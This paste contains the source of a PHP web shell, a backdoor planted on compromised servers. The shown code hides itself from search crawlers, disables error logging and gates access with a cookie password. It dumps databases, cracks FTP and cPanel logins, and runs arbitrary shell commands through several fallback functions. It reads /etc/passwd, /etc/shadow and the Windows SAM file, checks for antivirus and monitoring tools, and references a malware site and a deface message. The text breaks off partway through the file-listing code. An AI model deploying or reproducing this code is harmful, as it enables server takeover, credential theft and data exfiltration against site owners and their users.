· 9 years ago · Jul 27, 2017, 10:32 AM
1<?php
2
3$user = "username";
4$pass = "password";
5
6$malsite = "http://fightagent.ru"; // Malware Site
7
8$ind = "WW91IGp1c3QgZ290IGhhY2tlZCAhISEhIQ=="; // "Deface Page" Base64 encoded "You Just Got Hacked !!"
9
10@set_magic_quotes_runtime(0);
11@ini_set('error_log',NULL);
12@ini_set('log_errors',0);
13ob_start();
14error_reporting(0);
15@set_time_limit(0);
16@ini_set('max_execution_time',0);
17@ini_set('output_buffering',0);
18
19if(!empty($_SERVER['HTTP_USER_AGENT']))
20{
21 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
22 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
23 header('HTTP/1.0 404 Not Found');
24 exit; }
25}
26// Dump Database
27if($_GET["action"] == "dumpDB")
28{
29 $self=$_SERVER["PHP_SELF"];
30 if(isset($_COOKIE['dbserver']))
31 {
32 $date = date("Y-m-d");
33 $dbserver = $_COOKIE["dbserver"];
34 $dbuser = $_COOKIE["dbuser"];
35 $dbpass = $_COOKIE["dbpass"];
36 $dbname = $_GET['dbname'];
37 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
38
39 $file = "Dump-$dbname-$date";
40
41 $file="Dump-$dbname-$date.sql";
42 $fp = fopen($file,"w");
43
44 function write($data)
45 {
46 global $fp;
47
48 fwrite($fp,$data);
49
50 }
51 mysql_connect ($dbserver, $dbuser, $dbpass);
52 mysql_select_db($dbname);
53 $tables = mysql_query ("SHOW TABLES");
54 while ($i = mysql_fetch_array($tables))
55 {
56 $i = $i['Tables_in_'.$dbname];
57 $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
58 write($create['Create Table'].";");
59 $sql = mysql_query ("SELECT * FROM ".$i);
60 if (mysql_num_rows($sql)) {
61 while ($row = mysql_fetch_row($sql)) {
62 foreach ($row as $j => $k) {
63 $row[$j] = "'".mysql_escape_string($k)."'";
64 }
65 write("INSERT INTO $i VALUES(".implode(",", $row).");");
66 }
67 }
68 }
69
70 fclose ($fp);
71
72 header("Content-Disposition: attachment; filename=" . $file);
73 header("Content-Type: application/download");
74 header("Content-Length: " . filesize($file));
75 flush();
76
77 $fp = fopen($file, "r");
78 while (!feof($fp))
79 {
80 echo fread($fp, 65536);
81 flush();
82 }
83 fclose($fp);
84 }
85}
86function shellstyle()
87{
88 echo "<style type=\"text/css\">
89<!--
90
91body,td,th {
92 color: #FF0000;
93 font-size: 14px;
94}
95input.but {
96 background-color:#000000;
97 color:#FF0000;
98 border : 1px solid #1B1B1B;
99}
100a:link {
101 color: #00FF00;
102 text-decoration:none;
103 font-weight:500;
104}
105a:hover {
106 color:#00FF00;
107 text-decoration:underline;
108}
109font.txt
110{
111 color: #00FF00;
112 text-decoration:none;
113 font-size:14px;
114}
115font.mainmenu
116{
117 color:#FF0000;
118 text-decoration:none;
119 font-size:14px;
120}
121a:visited {
122 color: #006600;
123}
124input.box
125{
126 background-color:#0C0C0C;
127 color: lime;
128 border : 1px solid #1B1B1B;
129 -moz-border-radius:6px;
130 width:400;
131 border-radius:6px;
132}
133input.sbox
134{
135 background-color:#0C0C0C;
136 color: lime;
137 border : 1px solid #1B1B1B;
138 -moz-border-radius:6px;
139 width:180;
140 border-radius:6px;
141}
142select.sbox
143{
144 background-color:#0C0C0C;
145 color: lime;
146 border : 1px solid #1B1B1B;
147 -moz-border-radius:6px;
148 width:180;
149 border-radius:6px;
150}
151select.box
152{
153 background-color:#0C0C0C;
154 color: lime;
155 border : 1px solid #1B1B1B;
156 -moz-border-radius:6px;
157 width:400;
158 border-radius:6px;
159}
160
161textarea.box
162{
163 border : 3px solid #111;
164 background-color:#161616;
165 color : lime;
166 margin-top: 10px;
167 -moz-border-radius:7px;
168 border-radius:7px;
169}
170body {
171 background-color:#000000;
172}
173.myphp table
174{
175 width:100%;
176 padding:18px 10px;
177 border : 1px solid #1B1B1B;
178}
179.myphp td
180{
181 background:#111111;
182 color:#00ff00;
183 padding:6px 8px;
184 border-bottom:1px solid #222222;
185 font-size:14px;
186}
187.myphp th, th
188{
189 background:#181818;
190
191}
192-->
193</style>";
194}
195if(isset($_COOKIE['hacked']) && $_COOKIE['hacked']==md5($pass))
196{
197 $self=$_SERVER["PHP_SELF"];
198 $os = "N/D";
199 $bdmessage = null;
200 $dir = getcwd();
201
202 if(stristr(php_uname(),"Windows"))
203 {
204 $SEPARATOR = '\\';
205 $os = "Windows";
206 $directorysperator="\\";
207 }
208 else if(stristr(php_uname(),"Linux"))
209 {
210 $os = "Linux";
211 $directorysperator='/';
212 }
213 function Trail($d,$directsperator)
214 {
215 $d=explode($directsperator,$d);
216 array_pop($d);
217 array_pop($d);
218 $str=implode($d,$directsperator);
219 return $str;
220 }
221
222 function ftp_check($host,$user,$pass,$timeout)
223 {
224 $ch = curl_init();
225 curl_setopt($ch, CURLOPT_URL, "ftp://$host");
226 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
227 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
228 curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
229 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
230 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
231 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
232 $data = curl_exec($ch);
233 if ( curl_errno($ch) == 28 )
234 {
235 print "<center><b>
236 Error : Connection Timeout.
237 Please Check The Target Hostname .</b></center>";exit;
238 }
239 else if ( curl_errno($ch) == 0 )
240 {
241 print "<center><b>[~]</b><font class=txt>
242 Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
243 and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b></center><br><br>";
244 }
245 curl_close($ch);
246 }
247
248 function cpanel_check($host,$user,$pass,$timeout)
249 {
250 global $cpanel_port;
251 $ch = curl_init();
252 curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
253 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
254 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
255 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
256 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
257 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
258 $data = curl_exec($ch);
259 if ( curl_errno($ch) == 28 )
260 { print "<center><b>Error : Connection Timeout.
261 Please Check The Target Hostname.</b></center>";exit;}
262 else if ( curl_errno($ch) == 0 ){
263 print "<ecnter><b>[~]</b><font class=txt><b>
264
265 Cracking Success With Username "</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
266 and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b></center><br><br>";
267 }
268 curl_close($ch);
269 }
270
271 // Database functions
272 function listdatabase()
273 {
274 $self=$_SERVER["PHP_SELF"];
275 ?>
276 <br>
277 <form>
278 <table>
279 <tr>
280 <td><input type="text" class="box" name="dbname"></td>
281 <td><input type="button" onClick="viewtables('createDB',dbname.value)" value=" Create Database " class="but"></td>
282 </tr>
283 </table>
284 </form>
285 <br>
286 <?php
287 $mysqlHandle = mysql_connect ($_COOKIE['dbserver'], $_COOKIE['dbuser'], $_COOKIE['dbpass']);
288 $result = mysql_query("SHOW DATABASE");
289 echo "<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>\n";
290
291 $pDB = mysql_list_dbs( $mysqlHandle );
292 $num = mysql_num_rows( $pDB );
293 for( $i = 0; $i < $num; $i++ )
294 {
295 $dbname = mysql_dbname( $pDB, $i );
296 mysql_select_db($dbname,$mysqlHandle);
297 $result = mysql_query("SHOW TABLES");
298 $num_of_tables = mysql_num_rows($result);
299 echo "<tr>\n";
300 echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\"><font size=3>$dbname</font></a> ($num_of_tables)</td>\n";
301 echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\">Tables</a></td>\n";
302 echo "<td><a href=# onClick=\"viewtables('dropDB','$dbname')\">Drop</a></td>\n";
303 echo "<td><a href='$self?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
304 echo "</tr>\n";
305 }
306 echo "</table>\n";
307 mysql_close($mysqlHandle);
308 }
309
310 function listtable()
311 {
312 $self=$_SERVER["PHP_SELF"];
313 $dbserver = $_COOKIE["dbserver"];
314 $dbuser = $_COOKIE["dbuser"];
315 $dbpass = $_COOKIE["dbpass"];
316 $dbname = $_GET['dbname'];
317 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
318 ?>
319 <br><br>
320 <form>
321 <table>
322
323 <tr>
324 <td><input type="text" class="box" name="tablename"></td>
325 <td><input type="button" onClick="viewtables('createtable','<?php echo $_GET['dbname'];?>')" value=" Create Table " name="createmydb" class="but"></td>
326 </tr>
327 </table>
328
329 <br>
330 <form>
331 <table>
332 <tr>
333 <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
334 </tr>
335 <tr>
336 <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname'];?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
337 </tr>
338 </table>
339 </form>
340
341 <?php
342
343 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
344
345 mysql_select_db($dbname);
346 $pTable = mysql_list_tables( $dbname );
347
348 if( $pTable == 0 ) {
349 $msg = mysql_error();
350 echo "<h3>Error : $msg</h3><p>\n";
351 return;
352 }
353 $num = mysql_num_rows( $pTable );
354
355 echo "<table cellspacing=1 cellpadding=5 border=1 style=width:60%;>\n";
356
357 for( $i = 0; $i < $num; $i++ )
358 {
359 $tablename = mysql_tablename( $pTable, $i );
360 $result = mysql_query("select * from $tablename");
361 $num_rows = mysql_num_rows($result);
362 echo "<tr>\n";
363 echo "<td>\n";
364 echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\"><font size=3>$tablename</font></a> ($num_rows)\n";
365 echo "</td>\n";
366 echo "<td>\n";
367 echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\">Schema</a>\n";
368 echo "</td>\n";
369 echo "<td>\n";
370 echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\">Data</a>\n";
371 echo "</td>\n";
372 echo "<td>\n";
373 echo "<a href=# onClick=\"viewtables('empty','$dbname','$tablename')\">Empty</a>\n";
374 echo "</td>\n";
375 echo "<td>\n";
376 echo "<a href=# onClick=\"viewtables('dropTable','$dbname','$tablename')\">Drop</a>\n";
377 echo "</td>\n";
378 echo "</tr>\n";
379 }
380
381 echo "</table></form>";
382 mysql_close($mysqlHandle);
383 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
384 }
385
386
387 function paramexe($n, $v)
388 {
389 $v = trim($v);
390 if($v)
391 {
392 echo '<span><font size=3>' . $n . ': </font></span>';
393 if(strpos($v, "\n") === false)
394 echo '<font size=2>' . $v . '</font><br>';
395 else
396 echo '<pre class=ml1><font class=txt size=3>' . $v . '</font></pre>';
397 }
398 }
399
400
401
402 function rrmdir($dir)
403 {
404 if (is_dir($dir)) // ensures that we actually have a directory
405 {
406 $objects = scandir($dir); // gets all files and folders inside
407 foreach ($objects as $object)
408 {
409 if ($object != '.' && $object != '..')
410 {
411 if (is_dir($dir . '/' . $object))
412 {
413 // if we find a directory, do a recursive call
414 rrmdir($dir . '/' . $object);
415 }
416 else
417 {
418 // if we find a file, simply delete it
419 unlink($dir . '/' . $object);
420 }
421 }
422 }
423 // the original directory is now empty, so delete it
424 rmdir($dir);
425 }
426 }
427
428 function which($pr)
429 {
430 $path = execmd("which $pr");
431 if(!empty($path))
432 return trim($path);
433 else
434 return trim($pr);
435 }
436
437 function magicboom($text)
438 {
439 if (!get_magic_quotes_gpc())
440 return $text;
441 return stripslashes($text);
442 }
443
444function execmd($cmd,$d_functions="None")
445{
446 if($d_functions=="None")
447 {
448 $ret=passthru($cmd);
449 return $ret;
450 }
451 $funcs=array("shell_exec","exec","passthru","system","popen","proc_open");
452 $d_functions=str_replace(" ","",$d_functions);
453 $dis_funcs=explode(",",$d_functions);
454 foreach($funcs as $safe)
455 {
456 if(!in_array($safe,$dis_funcs))
457 {
458 if($safe=="exec")
459 {
460 $ret=@exec($cmd);
461 $ret=join("\n",$ret);
462 return $ret;
463 }
464 elseif($safe=="system")
465 {
466 $ret=@system($cmd);
467 return $ret;
468 }
469 elseif($safe=="passthru")
470 {
471 $ret=@passthru($cmd);
472 return $ret;
473 }
474 elseif($safe=="shell_exec")
475 {
476 $ret=@shell_exec($cmd);
477 return $ret;
478 }
479 elseif($safe=="popen")
480 {
481 $ret=@popen("$cmd",'r');
482 if(is_resource($ret))
483 {
484 while(@!feof($ret))
485 $read.=@fgets($ret);
486 @pclose($ret);
487 return $read;
488 }
489 return -1;
490 }
491 elseif($safe="proc_open")
492 {
493 $cmdpipe=array(
494 0=>array('pipe','r'),
495 1=>array('pipe','w')
496 );
497 $resource=@proc_open($cmd,$cmdpipe,$pipes);
498 if(@is_resource($resource))
499 {
500 while(@!feof($pipes[1]))
501 $ret.=@fgets($pipes[1]);
502 @fclose($pipes[1]);
503 @proc_close($resource);
504 return $ret;
505 }
506 return -1;
507 }
508 }
509 }
510 return -1;
511}
512
513 function getDisabledFunctions()
514 {
515 if(!ini_get('disable_functions'))
516 {
517 return "None";
518 }
519 else
520 {
521 return @ini_get('disable_functions');
522 }
523 }
524
525 function getFilePermissions($file)
526 {
527 $perms = fileperms($file);
528
529 if (($perms & 0xC000) == 0xC000) {
530 // Socket
531 $info = 's';
532 } elseif (($perms & 0xA000) == 0xA000) {
533 // Symbolic Link
534 $info = 'l';
535 } elseif (($perms & 0x8000) == 0x8000) {
536 // Regular
537 $info = '-';
538 } elseif (($perms & 0x6000) == 0x6000) {
539 // Block special
540 $info = 'b';
541 } elseif (($perms & 0x4000) == 0x4000) {
542 // Directory
543 $info = 'd';
544 } elseif (($perms & 0x2000) == 0x2000) {
545 // Character special
546 $info = 'c';
547 } elseif (($perms & 0x1000) == 0x1000) {
548 // FIFO pipe
549 $info = 'p';
550 } else {
551 // Unknown
552 $info = 'u';
553 }
554
555 // Owner
556 $info .= (($perms & 0x0100) ? 'r' : '-');
557 $info .= (($perms & 0x0080) ? 'w' : '-');
558 $info .= (($perms & 0x0040) ?
559 (($perms & 0x0800) ? 's' : 'x' ) :
560 (($perms & 0x0800) ? 'S' : '-'));
561
562 // Group
563 $info .= (($perms & 0x0020) ? 'r' : '-');
564 $info .= (($perms & 0x0010) ? 'w' : '-');
565 $info .= (($perms & 0x0008) ?
566 (($perms & 0x0400) ? 's' : 'x' ) :
567 (($perms & 0x0400) ? 'S' : '-'));
568
569 // World
570 $info .= (($perms & 0x0004) ? 'r' : '-');
571 $info .= (($perms & 0x0002) ? 'w' : '-');
572 $info .= (($perms & 0x0001) ?
573 (($perms & 0x0200) ? 't' : 'x' ) :
574 (($perms & 0x0200) ? 'T' : '-'));
575
576 return $info;
577}
578 function filepermscolor($filename)
579 {
580 if(!@is_readable($filename))
581 return "<font color=\"#FF0000\">".getFilePermissions($filename)."</font>";
582 else if(!@is_writable($filename))
583 return "<font color=\"#FFFFFF\">".getFilePermissions($filename)."</font>";
584 else
585 return "<font color=\"#00FF00\">".getFilePermissions($filename)."</font>";
586 }
587
588 function yourip()
589 {
590 echo $_SERVER["REMOTE_ADDR"];
591 }
592 function phpver()
593 {
594 $pv=@phpversion();
595 echo $pv;
596 }
597 function magic_quote()
598 {
599 echo get_magic_quotes_gpc()?"<font class=txt>ON</font>":"<font color='red'>OFF</font>";
600 }
601 function serverip()
602 {
603 echo getenv('SERVER_ADDR');
604 }
605 function serverport()
606 {
607 echo $_SERVER['SERVER_PORT'];
608 }
609 function safe()
610 {
611 global $sm;
612 return $sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF";
613 }
614 function serveradmin()
615 {
616 echo $_SERVER['SERVER_ADMIN'];
617 }
618 function systeminfo()
619 {
620 echo php_uname();
621 }
622 function curlinfo()
623 {
624 echo function_exists('curl_version')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
625 }
626 function oracleinfo()
627 {
628 echo function_exists('ocilogon')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
629 }
630 function mysqlinfo()
631 {
632 echo function_exists('mysql_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
633 }
634 function mssqlinfo()
635 {
636 echo function_exists('mssql_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
637 }
638 function postgresqlinfo()
639 {
640 echo function_exists('pg_connect')?("<font class=txt>Enabled</font>"):("<font color='red'>Disabled</font>");
641 }
642 function softwareinfo()
643 {
644 echo getenv("SERVER_SOFTWARE");
645 }
646 function download()
647 {
648 $frd=$_GET['download'];
649 $prd=explode("/",$frd);
650 for($i=0;$i<sizeof($prd);$i++)
651 {
652 $nfd=$prd[$i];
653 }
654 @ob_clean();
655 header("Content-type: application/octet-stream");
656 header("Content-length: ".filesize($nfd));
657 header("Content-disposition: attachment; filename=\"".$nfd."\";");
658 readfile($nfd);
659
660 exit;
661
662 }
663
664 function HumanReadableFilesize($size)
665 {
666 $mod = 1024;
667 $units = explode(' ','B KB MB GB TB PB');
668 for ($i = 0; $size > $mod; $i++)
669 {
670 $size /= $mod;
671 }
672 return round($size, 2) . ' ' . $units[$i];
673 }
674
675 function showDrives()
676 {
677 global $self;
678 foreach(range('A','Z') as $drive)
679 {
680 if(is_dir($drive.':\\'))
681 {
682 $myd = $drive.":\\";
683 ?>
684 <a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($myd); ?>')">
685 <?php echo $myd; ?>
686 </a>
687 <?php
688 }
689 }
690 }
691 function diskSpace()
692 {
693 return disk_total_space("/");
694 }
695 function freeSpace()
696 {
697 return disk_free_space("/");
698 }
699
700 function thiscmd($p)
701 {
702 $path = myexe('which ' . $p);
703 if(!empty($path))
704 return $path;
705 return false;
706 }
707
708 function mysecinfo()
709 {
710 function myparam($n, $v)
711 {
712 $v = trim($v);
713 if($v)
714 {
715 echo '<span><font color =red size=3>' . $n . ': </font></span>';
716 if(strpos($v, "\n") === false)
717 echo '<font color =lime size=3>' . $v . '</font><br>';
718 else
719 echo '<pre class=ml1><font color =lime size=3>' . $v . '</font></pre>';
720 }
721 }
722
723 myparam('Server software', @getenv('SERVER_SOFTWARE'));
724 if(function_exists('apache_get_modules'))
725 myparam('Loaded Apache modules', implode(', ', apache_get_modules()));
726 myparam('Open base dir', @ini_get('open_basedir'));
727 myparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
728 myparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
729 $temp=array();
730 if(function_exists('mysql_get_client_info'))
731 $temp[] = "MySql (".mysql_get_client_info().")";
732 if(function_exists('mssql_connect'))
733 $temp[] = "MSSQL";
734 if(function_exists('pg_connect'))
735 $temp[] = "PostgreSQL";
736 if(function_exists('oci_connect'))
737 $temp[] = "Oracle";
738 myparam('Supported databases', implode(', ', $temp));
739 echo '<br>';
740
741 if($GLOBALS['os'] == 'Linux') {
742 myparam('Distro : ', myexe("cat /etc/*-release"));
743 myparam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href=javascript:void(0) onClick=\"getmydata('passwd')\">[view]</a>":'no');
744 myparam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href=javascript:void(0) onClick=\"getmydata('shadow')\">[view]</a>":'no');
745 myparam('OS version', @file_get_contents('/proc/version'));
746 myparam('Distr name', @file_get_contents('/etc/issue.net'));
747 myparam('Where is Perl?', myexe('whereis perl'));
748 myparam('Where is Python?', myexe('whereis python'));
749 myparam('Where is gcc?', myexe('whereis gcc'));
750 myparam('Where is apache?', myexe('whereis apache'));
751 myparam('CPU?', myexe('cat /proc/cpuinfo'));
752 myparam('RAM', myexe('free -m'));
753 myparam('Mount options', myexe('cat /etc/fstab'));
754 myparam('User Limits', myexe('ulimit -a'));
755
756
757 if(!$GLOBALS['safe_mode']) {
758 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
759 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
760 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
761 echo '<br>';
762 $temp=array();
763 foreach ($userful as $item)
764 if(thiscmd($item))
765 $temp[] = $item;
766 myparam('Userful', implode(', ',$temp));
767 $temp=array();
768 foreach ($danger as $item)
769 if(thiscmd($item))
770 $temp[] = $item;
771 myparam('Danger', implode(', ',$temp));
772 $temp=array();
773 foreach ($downloaders as $item)
774 if(thiscmd($item))
775 $temp[] = $item;
776 myparam('Downloaders', implode(', ',$temp));
777 echo '<br/>';
778 myparam('HDD space', myexe('df -h'));
779 myparam('Hosts', @file_get_contents('/etc/hosts'));
780
781 }
782 } else {
783 $repairsam = addslashes($_SERVER["WINDIR"]."\\repair\\sam");
784 $hostpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\hosts");
785 $netpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\\networks");
786 $sampath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\lmhosts.sam");
787 echo "<font size=3>Password File : </font><a href=".$_SERVER['PHP_SELF']."?download=" . $repairsam ."><b><font class=txt size=3>Download password file</font></b></a><br>";
788 echo "<font size=3>Config Files : </font><a href=javascript:void(0) onClick=\"fileaction('open','$hostpath')\"><b><font class=txt size=3>[ Hosts ]</font></b></a> <a href=javascript:void(0) onClick=\"fileaction('open','$netpath')\"><b><font class=txt size=3>[ Local Network Map ]</font></b></a> <a href=javascript:void(0) onClick=\"fileaction('open','$sampath')\"><b><font class=txt size=3>[ lmhosts ]</font></b></a><br>";
789 $base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
790 echo "<font size=3>Open Base Dir : </font><font class=txt size=3>" . $base . "</font><br>";
791 myparam('OS Version',myexe('ver'));
792 myparam('Account Settings',myexe('net accounts'));
793 myparam('User Accounts',myexe('net user'));
794 }
795 echo '</div>';
796 }
797
798
799
800 function myexe($in)
801 {
802 $out = '';
803 if (function_exists('exec')) {
804 @exec($in,$out);
805 $out = @join("\n",$out);
806 } elseif (function_exists('passthru')) {
807 ob_start();
808 @passthru($in);
809 $out = ob_get_clean();
810 } elseif (function_exists('system')) {
811 ob_start();
812 @system($in);
813 $out = ob_get_clean();
814 } elseif (function_exists('shell_exec')) {
815 $out = shell_exec($in);
816 } elseif (is_resource($f = @popen($in,"r"))) {
817 $out = "";
818 while(!@feof($f))
819 $out .= fread($f,1024);
820 pclose($f);
821 }
822 return $out;
823}
824
825 function exec_all($command)
826 {
827
828 $output = '';
829 if(function_exists('exec'))
830 {
831 exec($command,$output);
832 $output = join("\n",$output);
833 }
834
835 else if(function_exists('shell_exec'))
836 {
837 $output = shell_exec($command);
838 }
839
840 else if(function_exists('popen'))
841 {
842 $handle = popen($command , "r"); // Open the command pipe for reading
843 if(is_resource($handle))
844 {
845 if(function_exists('fread') && function_exists('feof'))
846 {
847 while(!feof($handle))
848 {
849 $output .= fread($handle, 512);
850 }
851 }
852 else if(function_exists('fgets') && function_exists('feof'))
853 {
854 while(!feof($handle))
855 {
856 $output .= fgets($handle,512);
857 }
858
859
860
861 }
862 }
863 pclose($handle);
864 }
865
866
867 else if(function_exists('system'))
868 {
869 ob_start(); //start output buffering
870 system($command);
871 $output = ob_get_contents(); // Get the ouput
872 ob_end_clean(); // Stop output buffering
873 }
874
875 else if(function_exists('passthru'))
876 {
877 ob_start(); //start output buffering
878 passthru($command);
879 $output = ob_get_contents(); // Get the ouput
880 ob_end_clean(); // Stop output buffering
881 }
882
883 else if(function_exists('proc_open'))
884 {
885 $descriptorspec = array(
886 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
887 );
888 $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
889 if(is_resource($handle))
890 {
891 if(function_exists('fread') && function_exists('feof'))
892 {
893 while(!feof($pipes[1]))
894 {
895 $output .= fread($pipes[1], 512);
896 }
897 }
898 else if(function_exists('fgets') && function_exists('feof'))
899 {
900 while(!feof($pipes[1]))
901 {
902 $output .= fgets($pipes[1],512);
903 }
904 }
905 }
906 pclose($handle);
907 }
908
909 return(htmlspecialchars($output));
910
911}
912
913$basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"<font class=txt>ON</font>":"<font color='red'>OFF</font>";
914$etc_passwd=@is_readable("/etc/passwd")?"Yes":"No";
915
916function getOGid($value)
917{
918 if(!function_exists('posix_getegid')) {
919 $user = @get_current_user();
920 $uid = @getmyuid();
921 $gid = @getmygid();
922 $group = "?";
923 $owner = $uid . "/". $gid;
924 return $owner;
925 } else {
926 $name=@posix_getpwuid(@fileowner($value));
927 $group=@posix_getgrgid(@filegroup($value));
928 $owner = $name['name']. " / ". $group['name'];
929 return $owner;
930 }
931}
932
933function mainfun($dir)
934{
935 global $ind, $directorysperator,$os;
936
937 $mydir = basename(dirname(__FILE__));
938 $pdir = str_replace($mydir,"",$dir);
939 $pdir = str_replace("/","",$dir);
940
941 $files = array();
942 $dirs = array();
943
944 $odir=opendir($dir);
945 while($file = readdir($odir))
946 {
947 if(is_dir($dir.'/'.$file))
948 {
949 $dirs[]=$file;
950 }
951 else
952 {
953 $files[]=$file;
954 }
955 }
956 $countfiles = count($dirs) + count($files);
957 $dircount = count($dirs);
958 $dircount = $dircount-2;
959 $myfiles = array_merge($dirs,$files);
960 $i = 0;
961 if(is_dir($dir))
962 {
963 if(scandir($dir) === false)
964 echo "<center><font size=3>Directory isn't readable</font></center>";
965 else
966 {
967?><form method="post" id="myform" name="myform">
968 <table id="maintable" style="width:100%;" align="center" cellpadding="3">
969 <tr><td colspan="7"><center><div id="showmydata"></div></center></td></tr>
970 <tr style="background-color:#0C0C0C;"><td colspan="8" align="center"><font size="3">Listing folder <?php echo $dir; ?></font> (<?php echo $dircount.' Dirs And '.count($files).' Files'; ?>)</td>
971 <tr style="background-color:#0C0C0C; height:12px;">
972 <th>Name</th>
973 <th>Size</th>
974 <th>Permissions</th>
975 <?php if($os != "Windows"){ echo "<th>Owner / Group</th>"; } ?>
976 <th>Modification Date</th>
977 <th>Rename</th>
978 <th>Download</th>
979 <th style="width:2%;">Action</th>
980 </tr>
981 <?php
982 foreach($myfiles as $val)
983 {
984 $vv = addslashes($dir . $directorysperator . $val);
985 $i++;
986
987 if($val == ".")
988 {
989
990 ?><tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'"><td class='info'><a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($dir); ?>')"><font class=txt>[ . ]</font></a></td><td><font size=2>CURDIR</font></td>
991 <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir); ?></a></td>
992
993 <?php if($os != 'Windows')
994 {
995 echo "<td align=center><font size=2>";
996 echo getOGid($dir)."</font></td>";
997 }
998 ?>
999
1000 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($vv)); ?></font></td>
1001 <td></td><td></td><td></td></</tr><?php
1002
1003 }
1004 else if($val == "..")
1005 {
1006 $val = Trail($dir . $directorysperator . $val,$directorysperator);
1007 $vv = addslashes($val);
1008 if(empty($vv))
1009 $vv = "/"; ?>
1010 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'"><td class='info'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')"><font class=txt>[ .. ]</font></a></td><td><font size=2>UPDIR</font></td>
1011 <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($val); ?></a></td>
1012 <?php if($os != 'Windows')
1013 {
1014 echo "<td align=center><font size=2>";
1015 echo getOGid($val)."</font></td>";
1016
1017 } ?>
1018 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($val)); ?></font></td>
1019 <td></td><td></td><td></td></tr><?php continue;
1020 }
1021 else if(is_dir($vv))
1022 {
1023 ?>
1024 <tr style="background-color:#0C0C0C;" onMouseOver="style.backgroundColor='#000000'" onMouseOut="style.backgroundColor='#0C0C0C'">
1025 <td class='dir'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')">[ <?php echo $val; ?> ]</a></td>
1026 <td class='info'><font size=2>DIR</font></td>
1027
1028 <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
1029 <?php if($os != 'Windows')
1030 {
1031 echo "<td align=center><font size=2>";
1032 echo getOGid($val)."</font></td>";
1033 } ?>
